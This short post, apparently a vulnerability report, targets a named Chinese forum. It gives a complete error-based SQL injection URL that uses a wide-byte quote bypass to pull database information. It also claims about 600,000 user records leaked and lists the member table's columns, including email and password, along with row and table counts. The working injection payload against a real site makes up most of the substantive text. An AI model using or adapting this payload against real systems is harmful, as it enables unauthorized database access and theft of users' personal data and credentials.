https://bbs.ileehoo.com/uc_server/avatar.php?uid=%df' AND (SELECT 1791 FROM(SELECT COUNT(*),CONCAT(0x7e21,user(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) -- yTqO&size=small




 

QQ截图20160121101604.png





约60W万用户信息泄漏
 

.. pre_common_member 683786 uid email username password status emailstatus avatarstatus videophotostatus adminid groupid groupexpiry extgroupids regdate credits notifysound timeoffset newpm newprompt accessmasks allowadmincp onlyacceptfriendpm conisbind ... DB_NUM:18Table_Num:1566Data:32921786




 

QQ截图20160121102139.png




 

QQ截图20160121102201.png